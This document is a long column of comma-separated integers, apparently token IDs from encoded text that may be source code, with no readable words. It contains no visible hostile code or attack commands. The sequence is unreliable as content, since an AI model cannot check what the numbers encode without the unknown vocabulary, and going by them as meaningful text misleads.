924,
1175,
7145,
5784,
299,
7145,
51,
10588,
45,
1114,
5165,
51,
842,
312,
465,
964,
6337,
73,
1117,
1641,
47296,
299,
762,
64,
303,
964,
6337,
8723,
1641,
299,
762,
64,
303,
964,
3916,
3716,
503,
3716,
299,
762,
64,
303,
964,
910,
7692,
12096,
6088,
299,
762,
64,
303,
964,
1701,
65,
41308,
1195,
67,
1173,
11642,
4152,
299,
762,
64,
465,
453,
1641,
7692,
3337,
456,
640,
5620,
365,
303,
964,
10425,
2588,
19572,
3337,
64,
303,
964,
409,
9468,
1262,
3337,
1262,
64,
303,
964,
35750,
318,
1262,
15037,
1262,
64,
465,
581,
6337,
5165,
45,
3078,
34903,
46,
4310,
2589,
6555,
4305,
943,
320,
310,
1614,
320,
343,
3238,
492,
343,
758,
45,
35156,
312,
310,
339,
2385,
327,
1002,
503,
46,
320,
343,
1440,
556,
6555,
4305,
943,
459,
7093,
1641,
411,
6337,
5165,
51,
842,
49,
503,
312,
310,
339,
3751,
339,
2205,
581,
6337,
5165,
365,
320,
310,
3238,
492,
303,
339,
2205,
581,
6337,
5165,
45,
1114,
8723,
1641,
46,
320,
310,
477,
51,
1113,
299,
1641,
64,
310,
3238,
492,
303,
339,
2205,
581,
782,
758,
45,
3078,
34903,
46,
320,
310,
1641,
299,
1641,
47296,
51,
1828,
45,
35156,
312,
303,
339,
2205,
964,
782,
3238,
365,
320,
310,
503,
3716,
299,
3916,
3716,
51,
7432,
492,
20253,
1641,
47296,
299,
556,
6337,
73,
1117,
492,
310,
3337,
299,
327,
2610,
2588,
19572,
46,
7063,
51,
39497,
45,
1237,
51,
577,
51,
14904,
312,
310,
3337,
1262,
299,
327,
31665,
1262,
46,
7063,
51,
39497,
45,
419,
7063,
51,
577,
51,
14904,
100,
14607,
100,
10938,
100,
31835,
312,
310,
15037,
1262,
299,
327,
15941,
318,
1262,
46,
7063,
51,
39497,
45,
419,
7063,
51,
577,
51,
14904,
100,
39010,
100,
14607,
100,
10938,
100,
31835,
312,
303,
339,
2205,
581,
6337,
8723,
640,
2234,
365,
320,
310,
461,
1641,
64,
303,
339,
465,
581,
4418,
1506,
45,
1114,
8723,
23252,
49,
4418,
2940,
625,
46,
320,
310,
7276,
5165,
4436,
299,
556,
7276,
5165,
45,
12292,
51,
23258,
625,
1052,
310,
434,
327,
4210,
625,
630,
762,
46,
320,
343,
2940,
625,
299,
4436,
51,
23258,
941,
390,
5980,
625,
492,
310,
339,
603,
434,
327,
12292,
51,
390,
4008,
7701,
120,
365,
882,
762,
46,
320,
343,
23252,
51,
489,
4008,
7701,
120,
45,
12292,
51,
390,
4008,
7701,
120,
1052,
310,
339,
832,
320,
343,
23252,
51,
489,
4008,
7701,
120,
45,
53,
312,
310,
339,
603,
23252,
51,
489,
13578,
45,
53,
312,
603,
1641,
299,
1641,
47296,
51,
2882,
45,
12292,
312,
603,
1641,
51,
28190,
45,
12292,
51,
32844,
1046,
2940,
625,
312,
310,
1991,
2439,
45,
12292,
312,
310,
1991,
46249,
2439,
45,
12292,
312,
310,
1991,
72,
26017,
45,
12292,
312,
2776,
453,
6604,
3584,
1708,
310,
3916,
1590,
51,
2441,
45,
909,
3153,
1114,
1167,
45,
1113,
894,
603,
461,
1641,
51,
7068,
492,
303,
339,
2205,
581,
782,
1991,
45,
3078,
13915,
625,
49,
6337,
8723,
23252,
49,
4418,
2940,
625,
46,
244,
320,
310,
503,
3716,
51,
16662,
45,
15194,
625,
49,
762,
49,
14072,
51,
6950,
100,
10938,
49,
1641,
51,
7068,
1046,
419,
3916,
3716,
51,
9858,
100,
10938,
100,
1418,
43290,
6316,
49,
9011,
3916,
3716,
51,
9330,
100,
44086,
49,
762,
49,
762,
49,
762,
312,
2776,
1641,
51,
489,
1936,
45,
12292,
51,
37863,
1052,
310,
1641,
51,
489,
5620,
18433,
45,
12292,
51,
390,
5620,
18433,
1052,
310,
1641,
51,
28190,
45,
12292,
51,
32844,
1046,
2940,
625,
312,
310,
1641,
51,
489,
18249,
45,
12292,
51,
390,
18249,
1052,
310,
1641,
51,
489,
4008,
7701,
120,
45,
12292,
51,
390,
4008,
7701,
120,
1052,
2776,
1991,
2439,
45,
12292,
312,
310,
1991,
46249,
2439,
45,
12292,
312,
603,
434,
327,
1113,
51,
390,
18249,
365,
630,
762,
46,
320,
343,
453,
1991,
7692,
300,
26017,
343,
1991,
72,
26017,
45,
12292,
312,
310,
339,
832,
320,
343,
453,
17773,
3966,
15495,
1348,
1178,
331,
7692,
49,
3365,
1187,
3627,
29113,
343,
456,
327,
1114,
5620,
8723,
244,
7692,
518,
1641,
51,
12244,
40074,
1177,
320,
419,
556,
6337,
5620,
73,
1117,
941,
2577,
45,
4440,
312,
343,
339,
343,
1641,
51,
12244,
40074,
941,
3830,
492,
310,
339,
603,
1641,
47296,
51,
2882,
45,
1113,
312,
310,
31020,
2610,
492,
603,
453,
6604,
3584,
1708,
310,
3916,
1590,
51,
2441,
45,
909,
6337,
9052,
1167,
45,
1113,
894,
303,
339,
36197,
964,
782,
1991,
2439,
45,
1114,
8723,
23252,
46,
343,
320,
310,
453,
1991,
341,
3756,
12133,
20253,
7380,
3756,
299,
1641,
51,
12244,
2439,
492,
310,
3756,
51,
3830,
492,
310,
6337,
638,
5165,
847,
3733,
299,
556,
6337,
638,
5165,
492,
310,
453,
4314,
6152,
708,
1187,
341,
12851,
22119,
391,
341,
2454,
310,
453,
2554,
100,
948,
100,
700,
100,
333,
310,
456,
327,
429,
315,
66,
53,
64,
315,
350,
23252,
51,
390,
2439,
941,
1340,
64,
315,
2002,
320,
343,
847,
3733,
51,
489,
45,
12292,
51,
390,
2439,
8577,
107,
2004,
343,
3756,
51,
688,
45,
700,
3733,
51,
23258,
1052,
310,
339,
303,
339,
465,
964,
782,
1991,
46249,
2439,
45,
1114,
8723,
23252,
46,
320,
310,
1641,
51,
390,
46249,
2439,
941,
3830,
492,
603,
6337,
638,
5165,
1641,
638,
299,
556,
6337,
638,
5165,
492,
310,
456,
327,
3078,
847,
625,
518,
23252,
51,
390,
46249,
638,
5345,
1177,
320,
343,
1641,
638,
51,
489,
45,
700,
625,
312,
343,
1641,
51,
390,
46249,
2439,
941,
688,
45,
1113,
638,
51,
23258,
1052,
310,
339,
303,
339,
2205,
964,
782,
1991,
72,
26017,
45,
1114,
8723,
23252,
46,
320,
310,
5784,
51,
2824,
459,
34916,
29113,
51,
29113,
332,
494,
327,
12292,
51,
390,
40074,
365,
882,
762,
46,
494,
9011,
332,
7692,
299,
332,
494,
23252,
51,
390,
5620,
1052,
310,
6337,
5620,
73,
1117,
1641,
5620,
47296,
299,
556,
6337,
5620,
73,
1117,
492,
310,
453,
1648,
545,
2038,
1200,
2277,
1611,
4313,
7692,
310,
434,
327,
12292,
51,
390,
40074,
365,
630,
762,
46,
320,
343,
434,
327,
12292,
51,
390,
5620,
365,
882,
762,
46,
320,
419,
1701,
29113,
299,
556,
5068,
492,
419,
453,
640,
341,
684,
1050,
121,
12429,
451,
341,
4436,
419,
24056,
8723,
12429,
299,
556,
24056,
73,
1117,
941,
1828,
6538,
45,
733,
23252,
51,
11641,
4595,
625,
1052,
419,
434,
327,
8088,
630,
762,
46,
320,
547,
7276,
5165,
4436,
299,
556,
7276,
5165,
45,
12292,
51,
23258,
625,
1052,
547,
12429,
299,
4436,
51,
23258,
941,
11641,
4595,
492,
419,
339,
419,
6337,
5620,
8723,
7692,
299,
556,
6337,
5620,
8723,
45,
1710,
49,
23252,
49,
23252,
51,
390,
5620,
1046,
733,
12429,
312,
419,
29113,
51,
688,
45,
4440,
312,
419,
23252,
51,
489,
40074,
45,
28595,
312,
343,
339,
832,
320,
419,
5784,
51,
8453,
459,
6379,
72,
26017,
1616,
3845,
49,
1294,
477,
332,
494,
733,
332,
1113,
1421,
1307,
7692,
742,
419,
461,
64,
343,
339,
310,
339,
2776,
453,
331,
1495,
391,
4250,
365,
2285,
9677,
758,
1641,
100,
4440,
51,
2244,
100,
333,
299,
762,
310,
453,
4203,
451,
15281,
341,
2720,
310,
456,
327,
429,
315,
299,
244,
53,
64,
315,
350,
23252,
51,
390,
40074,
941,
911,
492,
315,
2002,
320,
343,
6337,
5620,
8723,
7692,
299,
327,
1114,
5620,
8723,
46,
23252,
51,
390,
40074,
941,
390,
45,
107,
312,
343,
6337,
5620,
8723,
7692,
2368,
299,
762,
64,
1083,
7692,
2368,
299,
1641,
5620,
47296,
51,
1828,
45,
12292,
51,
7068,
1046,
16629,
7692,
51,
11641,
4595,
625,
1052,
3507,
343,
434,
327,
4440,
51,
390,
5620,
365,
882,
762,
46,
320,
419,
434,
327,
4440,
2368,
882,
762,
46,
320,
547,
453,
434,
2038,
1611,
2038,
3443,
49,
1991,
580,
547,
7692,
2368,
51,
489,
5620,
45,
4440,
51,
390,
5620,
1052,
41371,
339,
832,
320,
547,
453,
7572,
2038,
49,
1506,
1611,
547,
6337,
5620,
8723,
1641,
5620,
66,
556,
6337,
5620,
8723,
45,
1710,
49,
1641,
49,
23363,
7692,
51,
390,
5620,
1046,
7692,
51,
11641,
4595,
1052,
547,
1641,
51,
12244,
40074,
941,
688,
45,
1113,
5620,
312,
419,
339,
343,
339,
832,
320,
419,
453,
477,
7692,
1414,
545,
6563,
434,
580,
458,
2038,
419,
434,
327,
4440,
2368,
882,
762,
46,
320,
547,
1641,
5620,
47296,
51,
2577,
45,
4440,
2368,
312,
419,
339,
343,
339,
310,
339,
28885,
453,
31020,
1641,
52,
4440,
3337,
310,
31020,
2610,
492,
303,
339,
2205,
581,
782,
3081,
45,
3078,
13915,
625,
46,
320,
310,
1641,
51,
489,
13578,
45,
909,
4418,
45,
54,
894,
603,
503,
3716,
51,
16662,
45,
15194,
625,
49,
762,
49,
14072,
51,
6950,
100,
10938,
49,
1641,
51,
7068,
1046,
419,
3916,
3716,
51,
9858,
100,
10938,
100,
1418,
43290,
6316,
49,
9011,
3916,
3716,
51,
9330,
100,
42947,
49,
762,
49,
762,
49,
762,
312,
603,
453,
6604,
3584,
1708,
310,
3916,
1590,
51,
2441,
45,
909,
6337,
13578,
1167,
45,
1113,
894,
603,
1641,
47296,
51,
9327,
492,
310,
1641,
47296,
51,
3830,
492,
303,
339,
465,
581,
1922,
6051,
7701,
120,
45,
4418,
1421,
7701,
120,
10555,
310,
434,
45,
1421,
7701,
120,
630,
244,
53,
10555,
343,
434,
45,
909,
7700,
1829,
73,
1117,
941,
1828,
8690,
1569,
7701,
120,
45,
1113,
51,
7068,
1177,
868,
244,
53,
46,
320,
419,
461,
920,
64,
343,
339,
310,
339,
310,
461,
878,
64,
303,
339,
465,
1041,
294,
338,
1369,
458,
341,
6575,
7692,
49,
2895,
1364,
20522,
50,
2395,
9560,
51,
294,
338,
2048,
1773,
8756,
2012,
3513,
341,
12429,
480,
7437,
341,
7527,
294,
338,
40162,
51,
294,
338,
2048,
5268,
331,
3337,
391,
7373,
29716,
1761,
477,
2803,
50,
436,
5150,
12324,
294,
338,
496,
620,
906,
7692,
347,
341,
8844,
12429,
294,
588,
303,
581,
17262,
640,
5620,
1103,
12096,
45,
1114,
8723,
1641,
49,
4418,
4436,
625,
49,
4418,
12429,
625,
46,
244,
320,
310,
17262,
2170,
899,
299,
762,
64,
603,
453,
1614,
391,
640,
10812,
1641,
7692,
456,
477,
12429,
310,
2170,
899,
299,
327,
20808,
46,
3337,
51,
390,
1811,
2610,
45,
1113,
51,
7068,
365,
494,
419,
12429,
625,
51,
3127,
1046,
3337,
1262,
312,
603,
434,
327,
2113,
899,
882,
762,
46,
320,
343,
461,
2170,
899,
64,
310,
339,
603,
453,
640,
341,
1641,
1200,
684,
1050,
121,
7692,
310,
648,
29113,
299,
244,
53,
64,
310,
17262,
331,
5620,
299,
762,
64,
310,
4418,
331,
12096,
299,
762,
64,
310,
453,
1648,
545,
341,
1641,
1421,
331,
7692,
347,
477,
12429,
310,
456,
327,
5740,
580,
299,
1641,
51,
12244,
40074,
941,
5174,
492,
580,
51,
16408,
492,
848,
320,
343,
29113,
3348,
343,
6337,
5620,
8723,
7692,
299,
327,
1114,
5620,
8723,
46,
580,
51,
1995,
492,
343,
434,
327,
4440,
51,
11641,
4595,
625,
941,
3591,
45,
8088,
625,
509,
320,
419,
453,
580,
458,
2038,
38,
419,
2170,
899,
299,
7692,
51,
390,
5620,
492,
419,
1644,
64,
343,
339,
832,
320,
419,
453,
341,
20990,
1421,
9961,
49,
456,
331,
1851,
26652,
11781,
419,
434,
327,
10713,
4595,
630,
762,
1293,
331,
12096,
51,
22777,
365,
882,
244,
54,
46,
320,
11106,
331,
5620,
299,
7692,
51,
390,
5620,
492,
547,
331,
12096,
299,
7692,
51,
11641,
4595,
625,
492,
419,
339,
343,
339,
310,
339,
2776,
434,
327,
28595,
868,
244,
53,
979,
2170,
899,
630,
762,
46,
320,
343,
453,
2038,
904,
29113,
3433,
49,
1294,
666,
456,
341,
12429,
2147,
343,
1614,
320,
419,
24056,
5165,
12429,
5165,
299,
556,
24056,
5165,
492,
419,
2170,
899,
299,
12429,
5165,
51,
5975,
45,
10713,
4595,
49,
12429,
625,
49,
331,
5620,
49,
4436,
625,
312,
343,
339,
2385,
327,
1002,
503,
46,
320,
419,
1440,
556,
6555,
4305,
943,
45,
106,
312,
343,
339,
310,
339,
832,
320,
343,
434,
327,
2113,
899,
630,
762,
46,
320,
419,
1440,
556,
6555,
4305,
943,
459,
2042,
7692,
3433,
456,
1641,
332,
494,
16629,
1641,
51,
7068,
1052,
343,
339,
310,
339,
603,
3337,
51,
543,
402,
2610,
45,
1113,
51,
7068,
365,
494,
12429,
625,
51,
3127,
1046,
3337,
1262,
49,
419,
2170,
899,
312,
603,
461,
2170,
899,
64,
303,
339,
465,
581,
17262,
640,
5620,
45,
3078,
10546,
49,
17262,
15717,
49,
4418,
4436,
625,
46,
2589,
6555,
4305,
943,
320,
310,
2694,
5165,
1275,
299,
556,
2694,
5165,
45,
9073,
312,
310,
461,
640,
5620,
45,
9073,
49,
1275,
51,
11641,
4595,
625,
1046,
15717,
49,
4436,
625,
49,
762,
312,
303,
339,
465,
581,
17262,
640,
5620,
45,
3078,
10546,
49,
4418,
12429,
625,
49,
17262,
15717,
49,
4418,
4436,
625,
46,
2589,
6555,
4305,
943,
320,
310,
2694,
5165,
1275,
299,
556,
2694,
5165,
45,
9073,
312,
310,
461,
640,
5620,
45,
9073,
49,
12429,
625,
49,
15717,
49,
4436,
625,
49,
762,
312,
303,
339,
465,
1041,
294,
338,
13513,
2309,
341,
2109,
7692,
31308,
341,
1275,
1200,
7472,
29113,
480,
1532,
294,
338,
300,
26017,
5069,
2602,
20087,
347,
341,
29113,
1877,
51,
294,
338,
294,
338,
496,
772,
10546,
1275,
828,
294,
338,
496,
772,
12429,
625,
12429,
828,
294,
338,
496,
772,
4436,
625,
4436,
828,
294,
338,
496,
772,
2554,
2554,
4019,
3290,
575,
25146,
49,
8784,
1674,
456,
5408,
1173,
11642,
29532,
294,
338,
496,
620,
906,
7692,
347,
341,
8844,
12429,
51,
2048,
5198,
3235,
331,
7692,
49,
294,
338,
5897,
619,
3773,
456,
21677,
451,
1173,
11642,
456,
619,
1641,
294,
588,
303,
581,
17262,
640,
5620,
45,
3078,
10546,
49,
4418,
12429,
625,
49,
17262,
15717,
49,
4418,
4436,
625,
49,
7700,
8723,
2554,
46,
343,
2589,
6555,
4305,
943,
320,
603,
434,
327,
8088,
625,
630,
762,
1293,
4436,
625,
630,
762,
46,
320,
343,
1440,
556,
6555,
4305,
943,
459,
4460,
1348,
640,
331,
7692,
642,
762,
3406,
51,
332,
12957,
494,
332,
8088,
625,
299,
332,
494,
12429,
625,
12957,
494,
332,
4436,
625,
299,
332,
494,
4436,
625,
312,
310,
339,
2776,
24056,
5165,
12429,
5165,
64,
310,
1614,
320,
343,
12429,
5165,
299,
556,
24056,
5165,
45,
8088,
625,
312,
343,
7692,
12096,
6088,
299,
12429,
5165,
51,
23258,
941,
390,
6088,
492,
310,
339,
2385,
327,
1002,
503,
46,
320,
343,
1440,
556,
6555,
4305,
943,
45,
106,
312,
310,
339,
603,
453,
1263,
332,
6681,
39,
7692,
310,
17262,
7692,
299,
640,
5620,
1103,
12096,
45,
1113,
49,
4436,
625,
49,
12429,
625,
312,
2776,
453,
1441,
331,
20522,
50,
285,
642,
6596,
8143,
327,
7021,
490,
434,
3322,
310,
1614,
320,
343,
36882,
15321,
2265,
1590,
65,
2046,
3953,
318,
67,
2918,
1590,
547,
299,
556,
36882,
15321,
2265,
1590,
65,
2046,
3953,
318,
1579,
44873,
49,
14072,
51,
21405,
10655,
2164,
100,
15151,
100,
10938,
100,
2999,
1122,
1410,
312,
343,
457,
41308,
1690,
2265,
299,
2918,
1590,
51,
22998,
1359,
492,
6455,
2236,
45,
1791,
2265,
882,
762,
46,
320,
419,
7692,
299,
1690,
2265,
51,
390,
5620,
45,
1113,
51,
7068,
1046,
15717,
49,
10546,
49,
12429,
625,
49,
1173,
11642,
4152,
49,
7692,
49,
2554,
312,
419,
1690,
2265,
299,
2918,
1590,
51,
22998,
1359,
492,
343,
339,
310,
339,
2385,
327,
1002,
503,
46,
320,
343,
1440,
556,
6555,
4305,
943,
459,
1114,
1173,
11642,
2918,
1067,
411,
6337,
5165,
51,
842,
49,
503,
312,
310,
339,
2776,
461,
7692,
64,
303,
339,
2205,
1041,
294,
338,
3777,
619,
6337,
8723,
23051,
456,
341,
2716,
2940,
480,
4436,
49,
1173,
13367,
456,
341,
294,
338,
2716,
1275,
480,
12429,
51,
294,
338,
294,
338,
496,
772,
2940,
625,
828,
451,
341,
4272,
2940,
294,
338,
496,
772,
10546,
828,
451,
341,
1275,
16508,
9982,
341,
1641,
294,
338,
496,
772,
4436,
625,
828,
451,
341,
4436,
294,
338,
496,
772,
12429,
625,
828,
451,
341,
12429,
294,
338,
496,
620,
1641,
23252,
294,
338,
496,
5124,
6555,
4305,
943,
434,
619,
3584,
3773,
12996,
8220,
1343,
294,
588,
303,
581,
6337,
8723,
640,
8723,
45,
3078,
2940,
625,
49,
4418,
10546,
49,
4418,
4436,
625,
49,
4418,
12429,
625,
46,
343,
2589,
6555,
4305,
943,
320,
2776,
461,
640,
8723,
45,
4210,
625,
49,
10546,
49,
4436,
625,
49,
12429,
625,
49,
17262,
51,
4451,
49,
762,
312,
303,
339,
4054,
1041,
294,
338,
3777,
619,
6337,
8723,
23051,
456,
341,
2716,
2940,
480,
4436,
49,
1173,
13367,
456,
341,
294,
338,
2716,
1275,
49,
12429,
480,
341,
5190,
4019,
16508,
16151,
51,
294,
338,
294,
338,
496,
772,
2940,
625,
828,
451,
341,
4272,
2940,
294,
338,
496,
772,
10546,
828,
451,
341,
1275,
16508,
9982,
341,
1641,
294,
338,
496,
772,
4436,
625,
828,
451,
341,
4436,
294,
338,
496,
772,
12429,
625,
828,
451,
341,
12429,
294,
338,
496,
772,
15717,
15717,
4019,
16508,
16151,
294,
338,
496,
620,
1641,
23252,
294,
338,
496,
5124,
6555,
4305,
943,
434,
619,
3584,
3773,
12996,
8220,
1343,
294,
588,
303,
581,
6337,
8723,
640,
8723,
45,
3078,
2940,
625,
49,
4418,
10546,
49,
4418,
4436,
625,
49,
4418,
12429,
625,
49,
17262,
15717,
46,
310,
2589,
6555,
4305,
943,
320,
310,
461,
640,
8723,
45,
4210,
625,
49,
10546,
49,
4436,
625,
49,
12429,
625,
49,
15717,
49,
762,
312,
303,
339,
4054,
1041,
294,
338,
3777,
619,
6337,
8723,
23051,
456,
341,
2716,
2940,
480,
4436,
49,
1173,
13367,
456,
341,
294,
338,
2716,
1275,
49,
12429,
480,
341,
5190,
4019,
16508,
16151,
51,
294,
338,
294,
338,
496,
772,
2940,
625,
828,
451,
341,
4272,
2940,
294,
338,
496,
772,
10546,
828,
451,
341,
1275,
16508,
9982,
341,
1641,
294,
338,
496,
772,
4436,
625,
828,
451,
341,
4436,
294,
338,
496,
772,
12429,
625,
828,
451,
341,
12429,
294,
338,
496,
772,
15717,
15717,
4019,
16508,
16151,
294,
338,
496,
772,
2554,
2554,
708,
477,
1641,
458,
391,
545,
3654,
391,
51,
1648,
545,
762,
434,
1307,
2554,
4231,
51,
294,
338,
496,
620,
1641,
23252,
294,
338,
496,
5124,
6555,
4305,
943,
434,
619,
3584,
3773,
12996,
8220,
1343,
294,
588,
303,
581,
6337,
8723,
640,
8723,
45,
3078,
2940,
625,
49,
4418,
10546,
49,
4418,
4436,
625,
49,
4418,
12429,
625,
49,
17262,
15717,
49,
3792,
7700,
8723,
2554,
46,
2589,
6555,
4305,
943,
320,
603,
6337,
8723,
23252,
299,
556,
6337,
8723,
45,
343,
1641,
51,
7068,
1046,
343,
1641,
51,
390,
4305,
1936,
1046,
343,
1641,
51,
390,
11731,
1241,
1046,
343,
1641,
51,
23258,
1046,
343,
1641,
51,
32844,
45,
4210,
625,
490,
343,
1641,
51,
390,
5620,
18433,
1046,
343,
1641,
51,
390,
13578,
1046,
343,
12429,
625,
49,
343,
762,
49,
343,
1641,
51,
390,
18249,
1046,
343,
762,
49,
453,
391,
545,
758,
2109,
2703,
343,
1641,
51,
390,
4008,
7701,
120,
365,
1110,
280,
603,
453,
1035,
1187,
341,
29113,
456,
2531,
12429,
310,
453,
434,
477,
458,
331,
13755,
106,
400,
49,
1019,
4224,
1868,
619,
1437,
642,
3517,
29113,
310,
23252,
51,
489,
40074,
45,
1828,
40074,
45,
44873,
49,
2940,
625,
894,
2776,
434,
327,
8088,
625,
882,
762,
979,
23252,
51,
390,
18249,
365,
630,
762,
46,
320,
343,
23252,
51,
489,
5620,
45,
390,
5620,
45,
9073,
49,
12429,
625,
49,
15717,
49,
4436,
625,
49,
2554,
894,
310,
339,
2776,
453,
758,
341,
3756,
310,
4418,
3756,
1197,
299,
556,
4418,
96,
1113,
51,
12244,
2439,
941,
911,
22061,
310,
648,
329,
299,
244,
53,
64,
310,
456,
327,
27222,
8723,
847,
518,
1641,
51,
12244,
2439,
1177,
320,
343,
3756,
96,
115,
13415,
299,
847,
51,
7068,
492,
343,
23252,
51,
489,
2888,
1829,
15618,
45,
700,
51,
48271,
1829,
15618,
1052,
310,
339,
310,
23252,
51,
489,
2439,
45,
2529,
312,
603,
453,
758,
26304,
3756,
310,
4418,
26304,
2439,
1197,
299,
556,
4418,
96,
1113,
51,
390,
46249,
2439,
941,
911,
22061,
310,
648,
613,
299,
244,
53,
64,
310,
456,
327,
27222,
8723,
847,
518,
1641,
51,
390,
46249,
2439,
1177,
320,
343,
26304,
2439,
96,
110,
13415,
299,
847,
51,
7068,
492,
310,
339,
310,
23252,
51,
489,
46249,
638,
5345,
45,
35381,
2439,
312,
603,
5784,
51,
2824,
459,
19165,
1641,
63,
332,
494,
23252,
51,
7068,
365,
494,
3021,
7692,
63,
332,
494,
23252,
51,
390,
5620,
1052,
8060,
310,
461,
23252,
64,
303,
339,
465,
581,
6337,
8723,
640,
8723,
45,
1114,
8723,
589,
1623,
46,
320,
310,
6337,
8723,
2170,
899,
299,
556,
6337,
8723,
492,
310,
434,
327,
2476,
51,
7068,
365,
882,
762,
46,
320,
343,
2170,
899,
51,
21603,
45,
2476,
51,
7068,
1052,
310,
339,
603,
2170,
899,
51,
489,
2234,
45,
909,
16507,
73,
1117,
941,
1828,
45,
2476,
51,
23258,
625,
5086,
310,
2170,
899,
51,
489,
1936,
45,
2476,
51,
37863,
1052,
310,
2170,
899,
51,
489,
11731,
1241,
45,
2476,
51,
390,
11731,
1241,
1052,
310,
2170,
899,
51,
489,
18249,
45,
2476,
51,
390,
18249,
1482,
7701,
1052,
310,
2170,
899,
51,
489,
5620,
18433,
45,
2476,
51,
390,
5620,
18433,
1052,
310,
2170,
899,
51,
489,
13578,
45,
2476,
51,
390,
13578,
1052,
310,
2170,
899,
51,
489,
4008,
7701,
120,
45,
2476,
51,
390,
4008,
7701,
120,
1052,
310,
2170,
899,
51,
28190,
45,
2476,
51,
32844,
1052,
310,
2170,
899,
51,
489,
2439,
45,
2476,
51,
390,
2439,
1052,
310,
2170,
899,
51,
489,
46249,
638,
5345,
45,
2476,
51,
390,
46249,
2439,
1052,
310,
2170,
899,
51,
489,
48450,
1241,
45,
2476,
51,
390,
48450,
1241,
1052,
310,
2170,
899,
51,
489,
12096,
625,
45,
2476,
51,
11641,
4595,
625,
1052,
310,
2170,
899,
51,
489,
5620,
45,
2476,
51,
390,
5620,
1482,
7701,
1052,
310,
2170,
899,
51,
489,
2888,
1829,
15618,
45,
2476,
51,
48271,
1829,
15618,
1052,
603,
453,
4511,
29113,
3761,
493,
1425,
480,
493,
1425,
589,
327,
3968,
46,
310,
1701,
1623,
40074,
299,
1623,
51,
390,
40074,
492,
310,
434,
327,
2476,
40074,
882,
762,
46,
320,
343,
1701,
29113,
299,
556,
5068,
45,
2476,
40074,
51,
911,
1052,
343,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
1623,
40074,
51,
911,
492,
613,
2002,
320,
419,
6337,
5620,
8723,
1641,
5620,
299,
556,
6337,
5620,
8723,
492,
419,
6337,
5620,
8723,
589,
1623,
5620,
299,
327,
1114,
5620,
8723,
589,
46,
1623,
40074,
51,
390,
45,
110,
312,
419,
1641,
5620,
51,
21603,
45,
2476,
5620,
51,
7068,
1052,
419,
1641,
5620,
51,
489,
12096,
45,
909,
24056,
73,
1117,
941,
1828,
45,
733,
1623,
5620,
51,
11641,
4595,
625,
5086,
419,
1641,
5620,
51,
489,
5620,
45,
2476,
5620,
51,
390,
5620,
1482,
7701,
1052,
419,
1641,
5620,
51,
15779,
45,
2476,
5620,
51,
5175,
1052,
419,
1641,
5620,
51,
489,
5620,
1260,
45,
2476,
5620,
51,
390,
5620,
1260,
1052,
419,
29113,
51,
688,
45,
1113,
5620,
312,
343,
339,
343,
2170,
899,
51,
489,
40074,
45,
28595,
312,
310,
339,
603,
461,
2170,
899,
64,
303,
339,
465,
581,
6337,
8723,
589,
640,
3968,
45,
1114,
8723,
1623,
46,
320,
310,
434,
327,
2476,
630,
762,
46,
320,
343,
1623,
299,
1641,
64,
310,
339,
603,
6337,
8723,
589,
2170,
899,
299,
556,
6337,
8723,
589,
492,
310,
2170,
899,
51,
21603,
45,
2476,
51,
7068,
1052,
603,
2170,
899,
51,
489,
38646,
45,
2476,
51,
23258,
941,
7068,
1052,
310,
2170,
899,
51,
489,
1936,
45,
2476,
51,
390,
4305,
1936,
1052,
310,
2170,
899,
51,
489,
11731,
1241,
45,
2476,
51,
390,
11731,
1241,
1052,
310,
2170,
899,
51,
489,
18249,
45,
2476,
51,
390,
18249,
1052,
310,
2170,
899,
51,
489,
5620,
18433,
45,
2476,
51,
390,
5620,
18433,
1052,
310,
2170,
899,
51,
489,
13578,
45,
2476,
51,
390,
13578,
1052,
310,
2170,
899,
51,
489,
4008,
7701,
120,
45,
2476,
51,
390,
4008,
7701,
120,
1052,
310,
2170,
899,
51,
28190,
45,
2476,
51,
32844,
1052,
310,
2170,
899,
51,
489,
2439,
45,
2476,
51,
390,
2439,
1052,
310,
2170,
899,
51,
489,
46249,
2439,
45,
2476,
51,
390,
46249,
638,
5345,
1052,
310,
2170,
899,
51,
489,
48450,
1241,
45,
2476,
51,
390,
48450,
1241,
1052,
310,
2170,
899,
51,
489,
12096,
625,
45,
2476,
51,
11641,
4595,
625,
1052,
310,
2170,
899,
51,
489,
5620,
45,
2476,
51,
390,
5620,
1052,
310,
2170,
899,
51,
489,
2888,
1829,
15618,
45,
2476,
51,
48271,
1829,
15618,
1052,
310,
2170,
899,
51,
489,
40074,
45,
2476,
51,
390,
40074,
1052,
603,
453,
4511,
29113,
3761,
493,
1425,
589,
327,
3968,
46,
480,
493,
1425,
310,
1701,
1623,
40074,
299,
1623,
51,
390,
40074,
492,
310,
434,
327,
2476,
40074,
882,
762,
46,
320,
343,
1701,
29113,
299,
556,
5068,
45,
2476,
40074,
51,
911,
1052,
343,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
1623,
40074,
51,
911,
492,
613,
2002,
320,
419,
6337,
5620,
8723,
589,
1641,
5620,
299,
556,
6337,
5620,
8723,
589,
492,
419,
6337,
5620,
8723,
1623,
5620,
299,
327,
1114,
5620,
8723,
46,
1623,
40074,
51,
390,
45,
110,
312,
419,
1641,
5620,
51,
21603,
45,
2476,
5620,
51,
7068,
1052,
419,
1641,
5620,
51,
489,
12096,
625,
45,
2476,
5620,
51,
11641,
4595,
941,
7068,
1052,
419,
1641,
5620,
51,
489,
5620,
45,
2476,
5620,
51,
390,
5620,
1052,
419,
1641,
5620,
51,
15779,
45,
2476,
5620,
51,
5175,
1052,
419,
1641,
5620,
51,
489,
5620,
1260,
45,
2476,
5620,
51,
390,
5620,
1260,
1052,
419,
29113,
51,
688,
45,
1113,
5620,
312,
343,
339,
343,
2170,
899,
51,
489,
40074,
45,
28595,
312,
310,
339,
603,
461,
2170,
899,
64,
303,
339,
2205,
1041,
294,
338,
1369,
1431,
1118,
1614,
391,
2309,
331,
12429,
828,
456,
477,
1641,
51,
2048,
1118,
294,
338,
7651,
9961,
391,
341,
4436,
1200,
1263,
12429,
49,
5897,
15149,
294,
338,
1118,
764,
51,
294,
338,
496,
620,
294,
588,
303,
964,
1701,
2309,
40074,
45,
3078,
4436,
625,
49,
4418,
2940,
625,
46,
320,
310,
1701,
2170,
899,
299,
556,
5068,
492,
603,
453,
2006,
2308,
1187,
341,
300,
532,
6667,
753,
451,
477,
4436,
310,
456,
327,
12096,
8723,
12429,
63,
1641,
51,
23258,
941,
11641,
26017,
1177,
320,
343,
6337,
5620,
8723,
7692,
299,
556,
6337,
5620,
8723,
492,
343,
7692,
51,
489,
12096,
45,
8088,
312,
343,
7692,
51,
15779,
45,
8088,
51,
32844,
45,
4210,
625,
